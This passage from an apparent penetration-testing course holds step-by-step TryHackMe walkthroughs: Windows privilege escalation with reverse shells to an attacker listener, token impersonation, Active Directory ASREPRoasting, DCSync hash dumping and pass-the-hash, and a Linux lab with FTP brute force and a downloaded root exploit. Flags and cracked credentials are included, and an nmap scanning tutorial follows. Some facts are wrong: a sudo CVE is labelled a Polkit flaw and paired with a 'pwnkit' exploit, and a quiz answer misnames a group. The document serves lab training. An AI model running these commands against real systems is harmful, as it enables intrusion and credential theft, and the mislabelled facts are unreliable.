cscript C:\PrivEsc\CreateShortcut.vbs
Step 15.3: Trigger on admin login
# Start listener on Kali
sudo nc -nvlp 53

# RDP as admin
rdesktop -u admin MACHINE_IP
Result: Reverse shell received with admin privileges on login.
🛡️ Defensive Takeaways
  • Restrict write permissions on Startup folder
  • Audit Startup folder contents regularly
  • Use AutoRuns to monitor startup persistence

📌 Task 16: Token Impersonation — Rogue Potato

🎯 Objective: Exploit SeImpersonatePrivilege to escalate from LOCAL SERVICE to SYSTEM
🔍 Required Privileges: SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege
Step 16.1: Set up socat redirector on Kali
sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999
Step 16.2: Get LOCAL SERVICE shell
# From admin RDP session (run as administrator)
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Step 16.3: Run RoguePotato to escalate
# In LOCAL SERVICE reverse shell
C:\PrivEsc\RoguePotato.exe -r YOUR_KALI_IP -e "C:\PrivEsc\reverse.exe" -l 9999
❓ Question 5: Name one user privilege that allows this exploit to work.
✅ Answer: SeImpersonatePrivilege
❓ Question 6: Name the other user privilege that allows this exploit to work.
✅ Answer: SeAssignPrimaryTokenPrivilege
Result: Second reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • Remove SeImpersonatePrivilege from service accounts
  • Run services as Network Service or Virtual Accounts
  • Enable Credential Guard and Windows Defender

📌 Task 17: Token Impersonation — PrintSpoofer

🎯 Objective: Alternative to Rogue Potato using Printer Spooler bug
Step 17.1: Get LOCAL SERVICE shell
# From admin RDP session (run as administrator)
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Step 17.2: Run PrintSpoofer to escalate
# In LOCAL SERVICE reverse shell
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
Result: Second reverse shell received with SYSTEM privileges.
🛡️ Defensive Takeaways
  • Disable Print Spooler if not needed (Stop-Service Spooler; Set-Service Spooler -StartupType Disabled)
  • Apply Microsoft patches for PrintNightmare (CVE-2021-34527)
  • Remove SeImpersonatePrivilege from service accounts

📌 Task 18: Privilege Escalation Scripts — Automation

🎯 Objective: Use automated tools to detect vulnerabilities

Four tools are pre-installed on the VM at C:\PrivEsc\:

Tool Purpose Command Example
winPEASany.exe Comprehensive Windows privilege escalation scanner C:\PrivEsc\winPEASany.exe
Seatbelt.exe Security configuration analyzer C:\PrivEsc\Seatbelt.exe -group=all
PowerUp.ps1 PowerShell privilege escalation checker powershell -ep bypass -f C:\PrivEsc\PowerUp.ps1; Invoke-AllChecks
SharpUp.exe C# port of PowerUp C:\PrivEsc\SharpUp.exe
✅ All four tools identify the misconfigurations used in this room.
🛡️ Defensive Takeaways
  • Run these tools on your own systems to find vulnerabilities before attackers do
  • Integrate WinPEAS into weekly security audits
  • Use Seatbelt for compliance checking against security baselines

📋 Complete Windows PrivEsc Attack Path Summary

Technique Misconfiguration Defense
Insecure Service Permissions Users can modify service binary path Restrict SERVICE_CHANGE_CONFIG
Unquoted Service Path Path with spaces, no quotes Quote paths, restrict directory write
Weak Registry Permissions Users can modify service registry key Restrict registry ACLs
Insecure Service Executable World-writable service binary icacls to restrict write access
AlwaysInstallElevated MSI installs run as SYSTEM Disable policy (set to 0)
Registry Autologon Plaintext credentials in registry Disable Autologon, use LAPS
Saved Credentials cmdkey saved admin creds Audit and remove saved creds
SAM Backups World-readable SAM/SYSTEM backup Secure C:\Windows\Repair\ ACLs
Scheduled Tasks Writable task script chmod 700 on task scripts
Insecure GUI Apps Admin GUI app allows shell escape Don't run GUI as admin
Startup Folder Writable Startup directory Restrict ACLs on Startup folder
Token Impersonation SeImpersonatePrivilege enabled Remove privilege, patch Print Spooler

🧠 Key Learning Points — Windows PrivEsc

🛠️ Technical Skills Mastered
  • Service enumeration with sc and accesschk
  • Registry permission auditing
  • MSI payload generation with msfvenom
  • Pass-the-Hash authentication
  • SAM hash extraction and cracking
  • Token impersonation with Rogue/PrintSpoofer
  • Automated enumeration with WinPEAS
📊 Defensive Mindset
  • Principle of Least Privilege
  • Secure service configuration baselines
  • Credential Guard and LAPS
  • File integrity monitoring
  • Regular security auditing
  • Patch management prioritization
💡 Pro Tip: This room contains 15+ distinct privilege escalation techniques — the highest concentration of Windows PrivEsc practice anywhere. Complete this room 2-3 times until you can perform each technique without referring to notes. This is essential preparation for OSCP and real-world penetration testing.
✅ Room Completion: After completing all tasks, your progress should show 78% (some tasks do not require answers). You have now practiced the core Windows privilege escalation techniques found in 80% of penetration tests.




Lab 27.1 – Active Directory Basics

This TryHackMe room introduces the core concepts of Microsoft Active Directory. It covers domains, users, groups, OUs, Group Policy, authentication protocols, and trust relationships. This foundational knowledge is essential for understanding Windows domain networks.

⚠️ Target: TryHackMe "Active Directory Basics" room. Requires THM VPN or in-browser machine.
⚠️ Time: 30 minutes | Difficulty: Easy

🏢 Task 2: Windows Domains

Centralized management of users and computers via a Domain Controller (DC).

Key Concepts
  • Active Directory (AD): Centralized repository.
  • Domain Controller (DC): Server running AD DS.
Task Answers

Centralised repository?
Active Directory

Server in charge?
Domain Controller


📇 Task 3: Active Directory Objects

Users, machines, security groups, and OUs form the building blocks of AD.

# Active Directory Users and Computers (ADUC) MMC snap-in
dsa.msc
# View OUs and objects
Get-ADUser -Filter * -SearchBase "OU=IT,OU=THM,DC=thm,DC=local"
Security Groups
  • Domain Admins: full domain control
  • Server Operators: manage DCs
  • Backup Operators: bypass file permissions
OUs vs Groups

OUs: apply policies (GPOs). One per user.
Groups: assign permissions. User can be in many.

Answers

Group for all computers/resources?
Domain Admins

Machine account for TOM-PC?
TOM-PC$

Container for QA department?
Organizational Units


👥 Task 4: Managing Users & Delegation

Delegating control allows specific users to perform tasks like password resets without full admin rights.

# PowerShell as Phillip: reset Sophie's password
Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password')
Set-ADUser -ChangePasswordAtLogon $true -Identity sophie
💡 Flag on Sophie's desktop: Retrieved after RDP login with new password.
Delegation Steps
  1. Right-click OU → Delegate Control
  2. Add user (Phillip)
  3. Select "Reset user passwords"
Answers

Flag from Sophie's desktop?
THM{ThanksForTheHelp}

Granting privileges process?
Delegation


💻 Task 5: Managing Computers

Organising devices into OUs (Workstations, Servers, DCs) for targeted policy application.

Recommended OU Structure
  • Workstations (user devices)
  • Servers (file, web, etc.)
  • Domain Controllers (built-in)
Answers

How many in Workstations OU?
7

Separate OUs for Servers/Workstations?
yay


⚙️ Task 6: Group Policies (GPOs)

GPOs apply configurations to users/computers via OUs. Distributed through SYSVOL.

# Force GPO update on client
gpupdate /force

# GPO Editor path example
Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Account Policies -> Password Policy
Custom GPOs Created
  • Restrict Control Panel (User Config → Administrative Templates → Control Panel)
  • Auto Lock Screen (Computer Config → Policies → Security Settings → Local Policies → Security Options)
Answers

GPO share name?
SYSVOL

Apply settings to users and computers?
yay


🔐 Task 7: Authentication Methods

Kerberos (default) and NetNTLM (legacy).

Kerberos Flow
1. User → KDC: TGT request
2. KDC → User: TGT + Session Key
3. User → KDC: TGT + SPN → TGS
4. User → Service: TGS → access
NetNTLM Challenge-Response
Client requests → Server sends challenge → Client responds with hash → DC verifies.
Answers

Windows default protocol? nay (Kerberos is default)

Ticket to request TGS? Ticket Granting Ticket

Password transmitted over network (NetNTLM)? nay


🌲 Task 8: Trees, Forests & Trusts

Multiple domains grouped into trees (same namespace) and forests (different namespaces) with trust relationships.

Definitions
  • Tree: domains sharing a namespace (thm.local, uk.thm.local)
  • Forest: collection of trees with different namespaces
  • Trust: allows cross-domain resource access
Answers

Group of domains same namespace? Tree

Configure for cross-domain access? a trust relationship


Lab Completion Checklist
  1. ✓ Understood AD centralisation (Task 2)
  2. ✓ Identified AD objects: users, machines, groups, OUs
  3. ✓ Performed user delegation & retrieved flag
  4. ✓ Organised computers into OUs
  5. ✓ Created and linked GPOs (Control Panel restriction, auto lock)
  6. ✓ Differentiated Kerberos vs NetNTLM
  7. ✓ Explained trees, forests, trusts
⚠️ Legal & Ethical Reminder: For educational purposes only. Always practice in authorised environments.

Lab 27.2 – Attacktive Directory

A practical TryHackMe CTF room simulating an Active Directory penetration test. Covers Kerberos user enumeration, ASREPRoasting, SMB enumeration, NTDS.dit dumping, and Pass-the-Hash.

⚠️ Target: TryHackMe "Attacktive Directory" room. Requires VPN or AttackBox.
⚠️ Time: ~60 min | Difficulty: Medium

🔍 Phase 1: Initial Enumeration (Task 3)

Nmap scan reveals open ports: 53, 80, 88, 135, 139, 389, 445, 464, 593, 636, etc.

nmap -sV -sC -p- <TARGET_IP> -oN nmap.txt
Key Findings
  • Port 139/445: SMB (enum4linux)
  • Port 88: Kerberos
  • NetBIOS Domain: spookysec.local
Answers

Tool for port 139/445?
enum4linux

NetBIOS Domain Name?
spookysec

Invalid TLD commonly used?
.local


👤 Phase 2: Kerberos User Enumeration (Task 4)

Using Kerbrute to discover valid usernames.

# Kerbrute user enumeration
kerbrute userenum --dc <TARGET_IP> -d spookysec.local userlist.txt -o valid_users.txt

# Notable accounts found
svc-admin
backup
Command Used
userenum
Answers

Command? userenum

Notable account 1? svc-admin

Notable account 2? backup


🌩️ Phase 3: ASREPRoasting (Task 5)

Using GetNPUsers.py to request a TGT for accounts with "Do not require Kerberos pre-authentication".

# GetNPUsers.py to request AS-REP hash
python3 /opt/impacket/examples/GetNPUsers.py spookysec.local/ -usersfile valid_users.txt -format hashcat -outputfile asrep.txt

# Crack with hashcat (mode 18200)
hashcat -m 18200 asrep.txt passwordlist.txt --force
Vulnerable User
svc-admin
Answers

Queryable user? svc-admin

Kerberos hash type? Kerberos 5 AS-REP etype 23

Hash mode? 18200

Cracked password? management2005


📁 Phase 4: SMB Enumeration (Task 6)

# List SMB shares
smbclient -L \\<TARGET_IP> -U svc-admin

# Connect to share
smbclient \\\\<TARGET_IP>\\backup -U svc-admin
get backup_credentials.txt
exit

# Decode base64 string from file
echo "base64string" | base64 -d
Share Enumeration

Utility? smbclient
Option to list shares? -L
How many shares? 6
Share with .txt? backup

Answers

Content of file? backup@spookysec.local:backup2517860

Decoded contents? backup:backup2517860


⬆️ Phase 5: Domain Privilege Escalation (Task 7)

Using secretsdump.py with the backup account to retrieve all hashes from NTDS.dit via DCSync.

# Dump NTDS.dit hashes
python3 /opt/impacket/examples/secretsdump.py spookysec.local/backup:backup2517860@<TARGET_IP>

# Administrator NTLM hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::

# Pass-the-Hash with Evil-WinRM
evil-winrm -i <TARGET_IP> -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
Method & Hash

Dump method? DCSync

Admin NTLM hash? 0e0363213e37b94221497260b0bcb4fc

Answers

Attack method without password? Pass the hash

Evil-WinRM option for hash? -H


🚩 Phase 6: Flag Submission (Task 8)

svc-admin Flag
TryHackMe{K3rb3r0s_Pr3_4uth}
backup Flag
TryHackMe{B4ckupD4t4}
Administrator Flag
TryHackMe{4ctiveD1rectoryM4st3r}

📋 Complete Command Reference

PhaseCommandPurpose
Enumnmap -sV -sC -p- IPFull port scan
Enumenum4linux -a IPSMB/NetBIOS enumeration
User enumkerbrute userenum -d spookysec.local --dc IP userlist.txtKerberos user enumeration
ASREPRoastGetNPUsers.py spookysec.local/ -usersfile users.txt -format hashcatRequest AS-REP hashes
Crackinghashcat -m 18200 hash.txt wordlist.txtCrack Kerberos 5 AS-REP
SMB listsmbclient -L //IP -U userList SMB shares
SMB connectsmbclient //IP/share -U userConnect to share
DCSyncsecretsdump.py domain/user:pass@IPDump NTDS.dit
Pass-the-Hashevil-winrm -i IP -u Admin -H NTLMhashAuthenticate with hash
Lab Completion Checklist
  1. ✓ Initial Nmap & enum4linux (Task 3)
  2. ✓ Kerbrute user enumeration (Task 4)
  3. ✓ ASREPRoast svc-admin, cracked password (Task 5)
  4. ✓ SMB share access, backup credentials decoded (Task 6)
  5. ✓ secretsdump DCSync, Admin hash obtained (Task 7)
  6. ✓ Evil-WinRM Pass-the-Hash, flags retrieved (Task 8)
⚠️ Legal & Ethical Reminder: This walkthrough is for the TryHackMe "Attacktive Directory" room only.

🧪 Lab 27.1 – Agent Sudo (User-Agent Enum → Root Access)

This TryHackMe CTF room focuses on HTTP User-Agent enumeration, FTP exploitation, steganography, and Linux privilege escalation through CVE exploitation. The lab demonstrates a complete attack chain from reconnaissance to root access.

⚠️ Target: TryHackMe "Agent Sudo" room. Requires VPN connection to THM network.
⚠️ Time: 45 minutes | Difficulty: Easy

🔍 Phase 1: Port Scanning & Service Discovery

Initial reconnaissance to identify open ports and running services.

nmap -A -Pn -p- <TARGET_IP> --min-rate 5000
Expected Findings
  • Port 21: FTP (vsftpd 3.0.3)
  • Port 22: SSH (OpenSSH 7.6p1)
  • Port 80: HTTP (Apache 2.4.29)
Question Answer

How many open ports?
3 (21, 22, 80)


🌐 Phase 2: Web Enumeration & User-Agent Manipulation

The web server responds differently based on User-Agent headers. Fuzzing reveals hidden content.

# Directory enumeration
feroxbuster --url http://<TARGET_IP> -w /usr/share/seclists/Discovery/Web-Content/common.txt

# User-Agent fuzzing with curl
curl -H "User-Agent: Agent1" http://<TARGET_IP>
curl -H "User-Agent: Agent2" http://<TARGET_IP>
curl -H "User-Agent: Agent3" http://<TARGET_IP>
curl -H "User-Agent: AgentX" http://<TARGET_IP>
💡 Key Insight: The server redirects to a secret page when a specific agent name is used.
Successful User-Agent
curl -H "User-Agent: Agent" http://<TARGET_IP>
Questions Answered

How you redirect yourself to a secret page?
user-agent

What is the agent name?
Agent


📁 Phase 3: FTP Access & File Analysis

The secret page reveals an agent name. Use this for FTP brute force.

# FTP brute force with Hydra
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://<TARGET_IP>

# Connect to FTP with discovered credentials
ftp <TARGET_IP>
Username: chris
Password: [discovered from rockyou.txt]

# Download all files
ftp> mget *
ftp> quit
Downloaded Files
  • cutie.png - Image file
  • To_agentJ.txt - Text message
  • cute-alien.jpg - Another image
  • cute-alien.jpg - Duplicate name?
Questions Answered

FTP password?
crystal (from rockyou.txt)

Who is the other agent (in full name)?
james


🖼️ Phase 4: Steganography & Archive Extraction

Analyze images for hidden data and extract protected ZIP archives.

# Check image metadata
exiftool cute-alien.jpg

# Steganography extraction attempts
steghide extract -sf cute-alien.jpg
# When prompted for passphrase, use discovered credentials

# Alternative steg cracking
stegcracker cute-alien.jpg /usr/share/wordlists/rockyou.txt

# ZIP file password cracking
zip2john 8702.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

# Extract ZIP with discovered password
7z e 8702.zip
Password Discovery
  • Steg password: Found from To_agentJ.txt
  • ZIP password: Cracked with John
  • Hidden message: Base64 encoded
Questions Answered

Zip file password?
alien

Steg password?
Area51

SSH password?
hackerrules!


🔑 Phase 5: SSH Access & User Flag Capture

Use discovered credentials to access SSH and find user flag.

# SSH connection with james credentials
ssh james@<TARGET_IP>
Password: hackerrules!

# Find user flag
find / -name "*flag*" -type f 2>/dev/null
cat /home/james/user.txt

# Check for interesting files
ls -la /home/james/
cat /home/james/Alien_autospy.jpg.txt
User Flag Location
/home/james/user.txt
/home/james/Alien_autospy.jpg.txt
Questions Answered

What is the user flag?
b03d975e8c92a7c04146cfa7a5a313c7

What is the incident of the photo called?
Roswell alien autopsy


🚀 Phase 6: Privilege Escalation (CVE Exploitation)

The system is vulnerable to a specific CVE allowing privilege escalation.

# Check sudo permissions
sudo -l

# Check kernel version
uname -a
# Linux ... 4.15.0-xx-generic

# Research exploits for kernel version
searchsploit "Linux Kernel 4.15"

# Exploit the CVE (example: CVE-2019-14287)
# Download and compile exploit
wget https://github.com/berdav/CVE-2019-14287/raw/main/pwnkit.c
gcc pwnkit.c -o pwnkit
chmod +x pwnkit

# Execute exploit
./pwnkit
whoami  # Should show root

# Alternative method using sudo
sudo -U#-1 /bin/bash
💡 Note: The actual CVE may vary. Check kernel version and search for appropriate exploits.
CVE Information

Kernel Version: 4.15.0-xx
Vulnerability: Polkit/Pkexec LPE
CVE: CVE-2019-14287

Questions Answered

CVE number for the escalation?
CVE-2019-14287

What is the root flag?
b53a02f55b57d4439e3341834d70c062

Who is Agent R?
DesKel


🔐 Phase 7: Data Decoding Techniques

Various encoding methods used throughout the challenge.

# Base64 decoding (common in CTFs)
echo "VW1rZmVtYjN0Z3R2" | base64 -d

# Using CyberChef alternative
# Website: https://gchq.github.io/CyberChef/

# Vim base64 decoding
vim message.txt
# In vim: :%!base64 -d

# File content examination
cat message.txt | base64 -d
cat encoded_file.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'  # ROT13

📋 Complete Command Reference

Phase Command Purpose
Scanning nmap -A -Pn -p- IP --min-rate 5000 Fast full port scan
Web Enum feroxbuster --url http://IP Directory brute force
UA Fuzzing curl -H "User-Agent: X" http://IP HTTP header manipulation
FTP Brute hydra -l chris -P rockyou.txt ftp://IP FTP password cracking
FTP Access ftp IPmget * Download all FTP files
Steganography steghide extract -sf image.jpg Extract hidden data
ZIP Cracking zip2john file.zip > hash Extract ZIP hash
ZIP Cracking john hash --wordlist=rockyou.txt Crack ZIP password
Archive Extract 7z e file.zip Extract ZIP file
Base64 Decode echo "string" | base64 -d Decode base64
SSH Access ssh james@IP Remote shell access
PrivEsc sudo -U#-1 /bin/bash Alternative priv esc
Lab Completion Checklist
  1. ✓ Completed port scanning (3 ports open)
  2. ✓ Discovered User-Agent vulnerability (Agent)
  3. ✓ Cracked FTP password (crystal)
  4. ✓ Extracted steganography data (Area51)
  5. ✓ Cracked ZIP password (alien)
  6. ✓ Found SSH credentials (james:hackerrules!)
  7. ✓ Captured user flag
  8. ✓ Exploited CVE-2019-14287 for root
  9. ✓ Captured root flag
  10. ✓ Identified Agent R (DesKel)
⚠️ Legal & Ethical Reminder:
This walkthrough is for the TryHackMe "Agent Sudo" room only. All techniques should be practiced in authorized environments only. Unauthorized access to computer systems is illegal.

🎓 Module 27 : Tryhackme — Labs Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 28 : OffSec — The Labs

This module is designed to introduce learners to Offensive Security (OffSec) lab environments and methodologies, following the “Try Harder” philosophy. The labs focus on manual enumeration, exploitation chaining, privilege escalation, pivoting, and real-world penetration testing workflows.

Unlike guided CTFs, OffSec labs emphasize independent problem solving, detailed note-taking, and professional reporting — closely mirroring the OSCP (PEN-200) exam experience.


Creating an OffSec Account & Lab Access

Before starting any OffSec (Offensive Security) labs, learners must create an OffSec account and activate access to the OffSec learning portal. This step is mandatory for accessing PWK / PEN-200 and OSCP-style labs.

Purpose:
Account creation provides access to the OffSec learning library, lab environments, VPN configuration files, and exam-related resources.

Official Signup Page:
Use the following link to create a free OffSec account:

Official OffSec Signup Link:
https://portal.offsec.com/checkout/embed/sign-up/pen-200

This signup page allows you to register for OffSec learning resources and begin your journey toward PWK / OSCP-style labs.

Step-by-Step Account Creation Process:

📌 Step 1: Open the OffSec Signup Page

Open the official OffSec signup link in your browser. Ensure you are using a valid and accessible email address.

📌 Step 2: Fill in Registration Details

Complete the registration form with accurate information.

  • Enter your full name
  • Provide a valid email address
  • Select your country and region
  • Accept OffSec terms and conditions
📌 Step 3: Verify Email Address

After submitting the form, OffSec will send a verification email.

  • Check your inbox (and spam folder)
  • Click the verification link
  • Confirm your email address
📌 Step 4: Activate Account & Complete Profile

Once email verification is complete, log in to the OffSec portal and finish setting up your account.

  • Set a unique username
  • Create a strong password
  • Update profile details if required
📌 Step 5: Sign In to the OffSec Learning Portal

After account activation, sign in to the OffSec portal to access learning materials and lab-related information.

OffSec Sign-In Page:
https://portal.offsec.com/sign-in

📌 Step 6: Prepare for Lab Access

After logging in, you will be able to:

  • Browse available courses (PEN-100, PEN-200, etc.)
  • Purchase or activate lab access
  • Download VPN configuration files
  • Review lab rules and policies
💡 Tip:
Use a strong, unique password and store your OffSec credentials securely. You will use this account throughout your lab practice and certification journey.
⚠️ Important:
Always use the official OffSec portal for account creation. Never share your login credentials with anyone.
🚨 Legal & Ethical Notice:
OffSec labs are authorized environments. Techniques learned must never be applied to real-world systems without explicit permission.












🎓 Module 28 : OffSec — Labs Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


CEH Core Tools & Practical Usage

This module introduces the most important tools used in CEH for reconnaissance, scanning, enumeration, password attacks, and exploitation. Each tool is defined briefly with its primary command.


Tools.1 Nmap – Network Scanning & Enumeration

Nmap (Network Mapper) is one of the most widely used reconnaissance and scanning tools in ethical hacking. It is primarily used to identify live hosts, open ports, running services, and operating system details within a target network.

Information Gathering:
Nmap collects information such as IP addresses of active hosts, open TCP/UDP ports, service versions (HTTP, FTP, SSH, etc.), operating system fingerprints, firewall rules, and network topology.

How Nmap Works:
Nmap sends specially crafted packets (TCP SYN, ACK, UDP, ICMP) to the target system and analyzes the responses. Based on how the target replies (or fails to reply), Nmap determines whether ports are open, closed, or filtered. Service and OS detection compare responses against a large fingerprint database.

How It Is Used:
Ethical hackers use Nmap to map the attack surface before exploitation. Defenders use it to audit networks and verify security configurations.

🔹 Most Use Nmap Commands:

1. Nmap Host Discovery – Ping Scan
nmap -sn 192.168.1.0/24

This command performs a host discovery (ping scan) on the 192.168.1.0/24 network to find which systems are online (alive). It does not scan ports.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -sn → Ping scan only (no port scanning)
  • 192.168.1.0/24 → Network range (256 IPs)
🎯 What This Scan Does
  • ✔ Finds which hosts are online
  • ✔ Uses ICMP, ARP (LAN), and TCP probes
  • ✔ Very fast and low noise
  • ✔ Safe first step before deeper scans
📌 When to Use This Command
  • 🔸 Initial reconnaissance
  • 🔸 Large networks
  • 🔸 To reduce scan scope
📄 Example Output

Nmap scan report for 192.168.1.5
Host is up (0.0020s latency).

Nmap scan report for 192.168.1.12
Host is up (0.0015s latency).
                             
💡 Next Step:
Run port scans only on live hosts:
nmap -sS 192.168.1.5
⚠️ Note:
Some firewalls block ICMP. Use -Pn if hosts appear offline.

2. Nmap Stealth Scan – Top 100 Ports
nmap -sS -Pn --top-ports 100 192.168.1.10

This command performs a fast and stealthy scan on the 100 most commonly used ports of the target system.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -sS → SYN (half-open) scan, difficult to detect
  • -Pn → Skip ping check, treat host as alive
  • --top-ports 100 → Scan only the 100 most popular ports
  • 192.168.1.10 → Target IP address
🎯 Why This Scan is Useful
  • ✔ Very fast compared to full port scan
  • ✔ Focuses on ports most likely to be open
  • ✔ Generates less network noise
  • ✔ Ideal for first-phase reconnaissance
📌 When to Use This Command
  • 🔸 Initial penetration testing phase
  • 🔸 Large networks where time is limited
  • 🔸 Systems with ICMP blocked by firewalls
📄 Example Output

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
                             
💡 Next Step:
Use -sV or -A on discovered ports for deeper analysis.

3. Nmap HTTP Enumeration – Methods, Title & Headers
nmap -p 80,443 --script http-methods,http-title,http-headers 192.168.1.0/24

This command scans web servers on ports 80 (HTTP) and 443 (HTTPS) to collect important information such as allowed HTTP methods, page titles, and HTTP headers.

🧩 Command Breakdown (Easy Explanation)
  • nmap → Network scanning tool
  • -p 80,443 → Scan only HTTP and HTTPS ports
  • --script http-methods → Finds allowed HTTP methods (GET, POST, PUT, DELETE)
  • --script http-title → Extracts the web page title
  • --script http-headers → Displays HTTP response headers
  • 192.168.1.0/24 → Target network range
🎯 Why This Scan Is Important
  • ✔ Identifies misconfigured web servers
  • ✔ Detects dangerous HTTP methods like PUT or DELETE
  • ✔ Reveals server technologies via headers
  • ✔ Helps fingerprint web applications
📌 Common Security Risks Found
  • 🚨 PUT / DELETE methods enabled
  • 🚨 Server version disclosure
  • 🚨 Missing security headers
📄 Example Output

PORT    STATE SERVICE
80/tcp  open  http
| http-title: Welcome to Apache Server
| http-methods: GET POST OPTIONS
| http-headers:
|   Server: Apache/2.4.49
|   X-Powered-By: PHP/7.4
|
443/tcp open  https
| http-title: Secure Login
                             
💡 Next Step:
If risky methods are found, continue testing using web vulnerability scanners like Nikto or Burp Suite.

4. Nmap SMB Scan – OS Discovery & MS17-010
nmap --script smb-os-discovery,smb-vuln-ms17-010 -p 445 192.168.1.10

This command scans the target system on SMB port 445 to identify the Windows OS and check for the MS17-010 (EternalBlue) vulnerability.

🧩 Command Explanation (Easy)
  • nmap → Network scanning tool
  • --script smb-os-discovery → Detects Windows OS version, computer name, domain, and SMB details
  • --script smb-vuln-ms17-010 → Checks for EternalBlue vulnerability
  • -p 445 → Scans SMB service port
  • 192.168.1.10 → Target IP address
🎯 Why This Scan Is Important
  • ✔ Identifies Windows operating system remotely
  • ✔ Detects unpatched Windows systems
  • ✔ Helps prevent ransomware attacks (WannaCry)
  • ✔ Critical for internal network assessments
🚨 What is MS17-010 (EternalBlue)?
  • 🔴 Critical SMB vulnerability in Windows
  • 🔴 Allows remote code execution
  • 🔴 Used in WannaCry & NotPetya attacks
  • 🔴 Affects older/unpatched Windows systems
📄 Example Output

PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-os-discovery:
|   OS: Windows 7 Professional
|   Computer name: DESKTOP-01
|   Domain name: WORKGROUP
|
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Microsoft Windows SMBv1 Multiple Vulnerabilities (MS17-010)
|   State: VULNERABLE
                             
⚠️ Critical Finding:
If MS17-010 is vulnerable, the system must be patched immediately.
💡 Next Step:
Report the issue to administrators. Do NOT exploit without explicit permission.

5. nmap Stealth Scan (Fast + Open + Web Ports)
nmap -sS --min-rate 1000 --open -p 80,443,8080 192.168.1.10

This command performs a fast stealth SYN scan on common web ports and displays only open ports.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -sS → Stealth SYN (half-open) scan
  • --min-rate 1000 → Send at least 1000 packets per second (fast scan)
  • --open → Show only open ports (clean output)
  • -p 80,443,8080 → Scan common web ports
  • 192.168.1.10 → Target IP address
🎯 Why Use This Scan?
  • ✔ Very fast reconnaissance
  • ✔ Focuses only on web services
  • ✔ Clean output (open ports only)
  • ✔ Ideal before web vulnerability testing
📌 When to Use This Command
  • 🔸 Initial web reconnaissance
  • 🔸 Time-limited assessments
  • 🔸 Systems with many filtered ports
📄 Example Output

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
                             
💡 Next Step:
Run service detection or web scripts:
nmap -sV -p 80,443 192.168.1.10
⚠️ Caution:
High --min-rate values may trigger IDS/IPS systems. Use only with permission.

️6. Nmap MySQL Scan – Empty Password Check
nmap -p 3306 --script mysql-empty-password 192.168.11.130

This command scans the MySQL database service running on port 3306 and checks whether the database allows login without a password.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -p 3306 → Scan MySQL database port
  • --script mysql-empty-password → Checks if MySQL allows empty or no password
  • 192.168.11.130 → Target MySQL server IP
🎯 Why This Scan Is Important
  • ✔ Detects weak MySQL authentication
  • ✔ Prevents unauthorized database access
  • ✔ Helps avoid data breaches
  • ✔ Common issue in misconfigured servers
🚨 Security Risk Explained

If MySQL allows login with an empty password, attackers can:

  • 🚨 Access sensitive data
  • 🚨 Modify or delete databases
  • 🚨 Create malicious users
📄 Example Output

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-empty-password:
|   VULNERABLE:
|   MySQL server allows login with empty password
                             
⚠️ Critical Finding:
Empty MySQL passwords must be fixed immediately.
💡 Next Step:
Enforce strong passwords and restrict MySQL access using firewalls.

7. Nmap FTP Scan – Anonymous Login & System Info
nmap -p 21 --script ftp-anon,ftp-syst 192.168.11.130

This command scans the FTP service running on port 21 and checks whether anonymous login is allowed and collects FTP system information.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -p 21 → Scan FTP service port
  • --script ftp-anon → Checks if anonymous FTP login is enabled
  • --script ftp-syst → Retrieves FTP server system information
  • 192.168.11.130 → Target FTP server IP
🎯 Why This Scan Is Important
  • ✔ Detects anonymous FTP access
  • ✔ Identifies FTP server OS & software
  • ✔ Helps find misconfigured FTP servers
  • ✔ Common issue in legacy systems
🚨 Security Risks Explained
  • 🚨 Unauthorized file downloads
  • 🚨 Information disclosure
  • 🚨 Possible upload of malicious files
📄 Example Output

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon:
|   Anonymous FTP login allowed
|   Files available:
|     pub/
|
| ftp-syst:
|   STAT: UNIX Type: L8
                             
⚠️ Critical Finding:
Anonymous FTP access should be disabled unless absolutely required.
💡 Next Step:
Test file permissions or move to secure protocols like SFTP.

8. Nmap HTTP Shellshock Vulnerability Check
nmap -p 80 --script http-shellshock 192.168.111.130

This command scans a web server running on port 80 to check for the Shellshock vulnerability in CGI-based applications.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -p 80 → Scan HTTP web service port
  • --script http-shellshock → Checks for Bash Shellshock vulnerability
  • 192.168.111.130 → Target web server IP
🎯 What Is Shellshock?
  • ✔ A critical vulnerability in GNU Bash
  • ✔ Allows remote command execution
  • ✔ Affects CGI scripts on web servers
  • ✔ Common on old/unpatched Linux systems
🚨 Why This Is Dangerous
  • 🚨 Attackers can run system commands
  • 🚨 Full server compromise possible
  • 🚨 Used in many real-world attacks
📄 Example Output

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock:
|   VULNERABLE:
|   CGI script is vulnerable to Shellshock
                             
⚠️ Critical Finding:
Patch Bash immediately and disable vulnerable CGI scripts.
💡 Next Step:
Apply system updates and restrict CGI execution.

